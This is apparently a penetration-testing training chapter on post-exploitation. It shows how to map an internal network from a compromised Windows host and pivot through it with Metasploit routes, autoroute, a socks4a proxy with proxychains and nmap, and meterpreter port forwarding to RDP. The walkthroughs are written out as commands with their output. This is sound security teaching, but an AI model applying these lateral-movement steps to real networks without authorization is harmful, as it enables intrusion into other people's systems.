Mapping the internal network
6.4. Mapping the internal network
In the previous step, we took into account information residing on the local victim computer. We will now take a look at the network.
As the name suggests, the main purpose of this step is to map internal organization's network in order to find other exploitable machines to getting closer to our goal (if any specified in the engagement)
Since we already have access to at least one internal machine, we can directly interact with the target environment (internal network) using it as a bridge.
Again, the purpose of this step is to infiltrate and exploit more hosts.
This is important when we have to prove that certain areas of the network are vulnerable or, when the client wants to verify the exposure of a certain information stored on given devices.
While we infiltrate networks, we still have to collect this information:
Network equipment such as firewall, switches, and routers
Other networked hosts and servers For each of them learn about OS, open ports, exploitable services, and more
Networking protocols and IP addresses
Traffic and data transmitted in the network.
For the sake of clarity, let us use a simple scenario like this:
Attacker ---------------Internet--------------- Router with Public IP
IP:66.176.44.*** Local IP:10.10.10.1
|
|
Switch
|
|
Exploited Machine ---------------------
10.10.10.15Of course, in a real post exploitation process, we do not know the network map in advance. So let's see how we can figure it out, starting from the exploited machine.
ipconfig(Windows) orifconfig(Linux) One of the simplest commands that can help us start drawing the network map isipconfig(Windows) orifconfig(Linux). The two commands will display the network configuration for each NIC on the machine.Although we are dealing with the Windows machine, meterpreter allows us to run
ifconfigtoo.The result tells us that there is only one NIC and that the internal IP address of the machine is
10.10.10.15.route print(Windows) orroute -v(Linux) Other network information can be found in the IP routing table usingroute printcommand in Windows androute -vin LinuxResult :
meterpreter > route IPv4 network routes =================== Subnet Netmask Gateway Metric Interface ------ ------- ------- ------ --------- 0.0.0.0 0.0.0.0 10.10.10.1 266 11 10.10.10.0 255.255.255.0 10.10.10.15 266 11 10.10.10.15 255.255.255.255 10.10.10.15 266 11 10.10.10.10.255 255.255.255.255 10.10.10.15 266 11 127.0.0.0 255.0.0.0 127.0.0.1 306 1arpAnother bulit-in command that can help us to get even more information isarp, which displays the host ARP cache.ARP cache ========= IP address MAC address Interface ---------- ----------- --------- 10.10.10.1 00:50:56:b1:10:48 11 10.10.10.5 00:50:56:b1:c8:93 11 10.10.10.255 ff:ff:ff:ff:ff:ff 11 224.0.0.22 00:00:00:00:00:00 1 244.0.0.22 01:00:5e:00:00:16 11As we can see in the results, we discovered a new IP address:
10.10.10.5While you find new targets, remember to keep track of your findings.
Attacker ---------------Internet--------------- Router with Public IP IP:66.176.44.*** Local IP:10.10.10.1 | | Switch | | (Exploited) Machine 1 ------------------------- 10.10.10.15 | | Machine 2 ------------------------- 10.10.10.5netstatAlthougharpmay reveal new hosts in the network, another very important command to run isnetstat.netstatallows us to display all the host network connections, which means listening ports, established connections, and so on.We also able to see process associated with each connection. For example, we can see that there is a current connection with the host
10.10.11.100, on port80:Connection list =============== Proto Local address Remote address State User Inode PID/Program name ----- ------------- -------------- ----- ---- ----- ---------------- tcp 0.0.0.0:135 0.0.0.0:* LISTEN 0 0 696/svchost.exe tcp 0.0.0.0:445 0.0.0.0:* LISTEN 0 0 4/System tcp 0.0.0.0:49152 0.0.0.0:* LISTEN 0 0 408/wininit.exe tcp 0.0.0.0:49153 0.0.0.0:* LISTEN 0 0 800/svchost.exe ... tcp 10.10.10.10:49208 10.10.11.100:80 ESTABLISHED 0 0 3940/iexplore.exe ...
At this time we have basic information about the network and an exploited machine.
We can now move on and start detecting all the other hosts on the internal network. We will use the exploited machine as the router for our scans.
This way we can avoid security measures such as firewalls and IDS that may block incoming connections from the external network.
arp_scannerThe easiest way to do this, is by runningarp_scanner. The scripts performs an ARP scan in the local network and then lists the IP and MAC addresses found.The following is the help manual for the script:
meterpreter > run arp_scanner -h Meterpreter Script for performing an ARPS Scan Discovery OPTIONS: -h Help menu. -i Enumerate Local Interfaces -r <opt> The target address range or CIDR identifier -s Save found IP Addresses to logsLet us run the command on the entire target subnet (
10.10.10.10/24) and see what we obtain.meterpreter > run arp_scanner -r 10.10.10.0/24 [*] ARP Scanning 10.10.10.0/24 [*] IP: 10.10.10.1 MAC 00:50:56:b1:10:48 [*] IP: 10.10.10.7 MAC [*] IP: 10.10.10.5 MAC [*] IP: 10.10.10.15 MAC [*] IP: 10.10.10.25 MACAlthough the
arp_scannerscript is very straightforward, you should be aware that Metasploit offers different modules that we can use to detect alive hosts, open ports, and more.ping_sweepLet's keep going with the alive host detection and run a ping scan on the remote network. The module that we are going to use is calledping_sweepand it allows us to set the session to which to run the scan.The following is the configuration of our module:
msf > use post/multi/gather/ping_sweep msf post(ping_sweep) > show options Module options (post/multi/gather/ping_sweep): Name Current Setting Required Description ---- --------------- -------- ----------- RHOSTS 10.10.10.0/24 yes IP Range to perform ping sweep against. SESSION 2 yes The session to run this module onWith this configuration, we are telling Metasploit to run a ping sweep in the network
10.10.10.0/24, using the active session (2) on the exploited machine.Let's run the module and see what we get:
msf post(ping_sweep) > run [*] Performing ping sweep for IP range 10.10.10.0/24 [*] 10.10.10.5 host found [*] 10.10.10.7 host found [*] 10.10.10.1 host found [*] 10.10.10.15 host found [*] 10.10.10.25 host found [*] Post module execution completed msf post(ping_sweep) >So far it seems we have found the same hosts discovered with
arp_scannermodule.If you recall the
netstatcommand run before, you would probably remember that an active connection with the machine10.10.11.100. As you can see, this machine is part of another network.Since we cannot directly reach it from our machine, we can configure the
ping_sweepmodule to scan the entire subnet, in order to find new hosts.Let us change the
RHOSTSparameter in theping_sweepmodule and see what we obtain.msf post(ping_sweep) > set RHOSTS 10.10.11.0/24 RHOSTS => 10.10.11.0/24 msf post(ping_sweep) > run [*] Performing ping sweep for IP range 10.10.11.0/24 [*] 10.10.11.1 host found [*] 10.10.11.100 host found [*] 10.10.11.111 host found [*] Post module execution completed msf post(ping_sweep) >As we can see, we have discovered another host.
The final configuration of the networks and hosts discovered can be summarized as follows:
Attacker -----------Internet----------- Router with Public IP IP:66.176.44.*** | --------------- | | Switch 1 Switch 2 10.10.10.1 10.10.11.1 | | | | (Exploited) Machine 1 ------------------| | 10.10.10.15 | | Machine 3 ----------------------------------------| | 10.10.10.7 Machine 2 ------------------| | 10.10.10.5 | | Machine 4 ----------------------------------------- | 10.10.10.25 Machine 5 --------------------------------| 10.10.11.110 | | Machine 6 --------------------------------- 10.10.11.111netenumThe last script we are going to use isnetenum. Although we will not use it in the following sections, we strongly suggest you play with it since it offers many features and configurations:meterpreter > run netnum -h Network Enumerator Meterpreter Script Usage: OPTIONS:
Now that we know the addresses of new potential targets, we can scan them and check open ports, enabled services, their OS, and so on.
Pivoting
Notice that we are not able to directly access these hosts from our machine, therefore we will have to tunnel our traffic through session on the exploited machine.
The following image explains how pivoting works (see img-280):
-3----------- -------------
Attacker -1-----------Internet------------- Router
10.10.10.1
| |
1 3
| |
-----Switch-----
1 : Attacker to Victim 1 | | | | |
2 : Attacker to Victim 2 1 3 2 2 3
| | | | |
Victim 1 Victim 2
10.10.10.15 10.10.10.5
In this case the attacker uses the session on Victim 1 to send and receive communications to and from Victim 2.
So we know the target subnet is 10.10.10.0/24, and we want to route the traffic to/from this network through the meterpreter session on the exploited machine.
This is an extremely important part of your Post Exploitation process, so make sure you understand it correctly.
To pivot on sessions, we can use 2 different commands, both setting a new route to a new network:
route add 10.10.10.0 255.255.255.0 2This will tell metasploit to route all the traffic intended to the network10.10.10.0/24, through the meterpreter session number 2. In other words, all the traffic to10.10.10.0/24will be tunneled through Victim 1.We can run the command from the msfconsole as follows, and then check if route has been added with the
route printcommand:msf > route add 10.10.10.0 255.255.255.0 2 [*] Route added msf > route print Active Routing Table ==================== Subnet Netmask Gateway ------ ------- ------- 10.10.10.0 255.255.255.0 Session 2Note: If you want to delete, print or flush the routes you can use the route command. The following is the help manual displaying all available options.
msf > route -h Usage: route [add/remove/get/flush/print] subnet mask [comm/sid] Route traffic destined to a given subnet through a supplied session. The default comm is Local.net autoroute -s 10.10.10.0.24Different from the previous command, this is a script that we have to run from within a meterpreter session. Notice that the results of the two commands are the same. All the traffic intended to the network10.10.10.0/24, will be routed through the current meterpreter session.Let's see how the command works and then check the current routing table with the
autoroute -pcommand:meterpreter > run autoroute -s 10.10.10.0/24 [*] Adding a route to 10.10.10.0/255.255.255.0... [+] Added route to 10.10.10.0/255.255.255.0 via 66.176.44.1 [*] Use the -p option to list all active routes meterpreter > run autoroute -p Active Routing Table ==================== Subnet Netmask Gateway ------ ------- ------- 10.10.10.0 255.255.255.0 Session 2
With the route set, we are now able to use the exploited machine (through our meterpreter session) as a router for our communication with the organization internal network (10.10.10.0/24). For example, let us try to run a port scan on one of the host found in the previous steps.
The metasploit module that allows is to run a simple TCP port scan is located at the following path: use auxiliary/scanner/portscan/tcp
Example: ``` msf > use auxiliary/scanner/portscan/tcp msf auxiliary(tcp) > show options
Module options (auxiliary/scanner/portscan/tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
CONCURRENCY 10 yes The number of concurrent port to
PORTS 100-500 yes Ports to scan (e.g.22-25,80,1-90)
RHOSTS 10.10.10.5 yes The target address range or CIDR
THREADS 10 yes The number of concurrent threads
TIMEOUT 1000 yes The socket connect timeout in ms
```
As you can see, the module allows us to select the hosts to scan, the port range, the number of threads. and a few other options/Let's run it and see if the target has some open ports: ``` msf auxiliary(tcp) > run
[*] 10.10.10.5:139 - TCP OPEN
[*] 10.10.10.5:135 - TCP OPEN
[*] 10.10.10.5:445 - TCP OPEN
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(tcp) >
```
The next snapshot, shows the traffic on the host `10.10.10.15` (Victim 1), while performing the port scan on Victim 2 from our Attacker machine.As you can notice, the traffic happens between Victim 1 and Victim 2, so the routing is working fine.
Here we can see that the scan is performed by the Victim 1. (see img-291, wireshark)
Once again, remember that this is working only because we add the route to the target network. Indeed if we flush the routes and try to run the command once again, we will not obtain any results.
So far we have just scratched the surface of the internal network. We have to identify all the other hosts first, their services, open ports, and so on.
Only after the information gathering phase on these hosts is complete, we can continue with our penetration phase. Remember this is indeed aa cyclic process.
Sometimes Metasploit modules are not enough and we may want to run tools like Nmap or Nessus on these new hosts.
To do this, we will once again use the current session on the exploited machine, to pivot external tools via the meterpreter session and its routes.
In order to do this we will have to set up socks4 proxy within Metasploit and then use tools like proxychains to route the traffic through this proxy.
Steps: 1. First, select and configure the socks4a module on Metasploit: ``` msf > use auxiliary/server/socks4a msf auxiliary(socks4a) > info
Name: Socks4a Proxy Server
Module: auxilary/server/socks4a
License: Metasploit Framework License (BSD)
Rank: Normal
```
This module provides a socks4 proxy server that uses the built-in Metasploit routing to relay connections.
2. Once selected, we just need to set the `SRVHOST` and the `SRVPORT` parameters, and then `run` the module <br>
In our case we will leave the address to listen on (`SRVHOST`) as default, but we will change the port to `1080`:
```
msf auxiliary(socks4a) > show options
Module options (auxiliary/server/socks4a):
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The address to listen on
SRVPORT 1080 yes The port to listen on
```
Once the module runs, we will see that our host will listen for incoming connection on port 1080:
```
root@els:~# netstat -tulpn | grep 1080
tcp 0 0 0.0.0.0:1080 0.0.0.0:* LISTEN
16121/ruby
```
3. The last step is to configure tools like `proxychains`, in order to use the address and port set in Metasploit.
`proxychains` is a tool that forces any TCP connection made by any given application, to follow through proxy like SOCKS4, SOCK%, TOR, and so on.
To configure `proxychains`, let us open the `proxychain.conf` file (you can find it in `/etc/`), and change the last line as follow:
```
[ProxyList]
# add proxy here ...
# meanwhile
# defaults set to "tor"
socks4 127.0.0.1 1080
```
In other words, we are instructing `proxychains` to use the proxy set with Metasploit and its routes. The following diagram shows how the traffic will be redirected:
```
Tools-->proxychains-->Metasploit socks4a proxy - 0.0.0.0:1080-->Meterpreter routes-->Meterpreter session--> Target network
```Now that everything is configured, we can use a scanning tool, such as Nmap, against the host within the target's internal network. In our test, we will try to scan the host 10.10.10.5. Our command will look like the following: proxychains nmap -sT -Pn -n 10.10.10.5 --top-ports 50 By adding proxychains before the Nmap scan command, we will force nmap to run through it.
As we can see in the following screencap, the Nmap scan is going through the proxy (see img-302):
```
stsuser@els:~$ sudo proxychains nmap -sT -Pn -n 10.10.10.5 --top-ports 50
ProxyChains-3.1 (http://proxychains.sf.net)
Starting Nmap 7.00 ( http://nmap.org ) at 2016-03-23 EDT
|S-chain|-<>-127.0.0.1:1080-<><>-10.10.10.5:111-<--denied
|S-chain|-<>-127.0.0.1:1080-<><>-10.10.10.5:143-<--denied
|S-chain|-<>-127.0.0.1:1080-<><>-10.10.10.5:554-<--denied
|S-chain|-<>-127.0.0.1:1080-<><>-10.10.10.5:25-<--denied
|S-chain|-<>-127.0.0.1:1080-<><>-10.10.10.5:199-<--denied
|S-chain|-<>-127.0.0.1:1080-<><>-10.10.10.5:22-<--denied
|S-chain|-<>-127.0.0.1:1080-<><>-10.10.10.5:3306-<--denied
|S-chain|-<>-127.0.0.1:1080-<><>-10.10.10.5:139-<><>-OK
|S-chain|-<>-127.0.0.1:1080-<><>-10.10.10.5:110-<--denied
```
At the end of the scan, we will see the results in our terminal, as if we were running it normally:
```
|S-chain|-<>-127.0.0.1:1080-<><>-10.10.10.5:1433-<--denied
Nmap scan report for 10.10.10.5
Host is up (1.5s latency)
Not shown: 47 closed ports
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
Nmap done: 1 IP address (1 host is up) scanned in 71.66 seconds
```
If we inspect the traffic on the exploited machine, we can see that there is no direct traffic between our attacker box (`66.176.44.106`) and the target (`10.10.10.5`) (see img-104)So far we used proxychains to run a port scan on the internal network. It is important to understand that thanks to this configuration we are able to route packets to networks behind NAT configurations or Firewalls.
Moreover, we can use proxychains in order to establish connections to services running on machines within the target network.
For example, if one of the machine has services like SSH, telnet, databases, and so on, we can use the following commands to contact and establish a connection with it: proxychains ssh 10.10.10.XX proxychains telnet 10.10.10.XX
In addition to proxychains, we can also use portfwd command, implemented in meterpreter. It allows us to forward connections to specific addresses and ports on the remote network.
Therefore, if we want to access a webserver, a share or any other service on the remote network, we can just set a port forwarding rule through the meterpreter session, and access it from our local address. For example, the following command will open a listener on our local IP address on port 3333, and will forward the connection to the IP address 10.10.10.5 on port 3389: ``` meterpreter > portfwd add -1 3333 -p 3389 -r 10.10.10.5 [*] Local TCP relay created: 0.0.0.0:333 <-> 10.10.10.5:3389 meterpreter > portfwd 0: 0.0.0.0:3333 -> 10.10.10.5:3389
1 total local port forwards.
```Once the commands runs, we should see a listening connection, like the following: stduser@les:~/Downloads$ netstat -tulpn | grep 3333 (Nott all process could be identified, non-owned process info will not be shown, you would have to be root to see it all.) tcp 0 0 0.0.0.0:3333 0.0.0.0:* LISTEN -
Now that we are sure we are listening for incoming connection on port 3333, we can try to establish an RDP session with the machine 10.10.10.5.
Once again, remember that the traffic will go through the exploited machine, to the target machine. ``` Attacker : portfwd listener (0.0.0.0:3333)->Meterpreter session | V Exploited machine : 10.10.10.15 | | 10.10.10.5:3389 V Target machine : 10.10.10.5
```To do this, we will try to establish an RDP session to our local IP address on port 3333: rdesktop 127.0.0.1:3333
At this point of pentest you should have a more detailed map of the internal network and its hosts. It is now time to start digging more closely to see if any of the new machines discovered can be exploited (via our current active session on Victim 1 - 10.10.10.15)
(see vid-313)
Last updated
Was this helpful?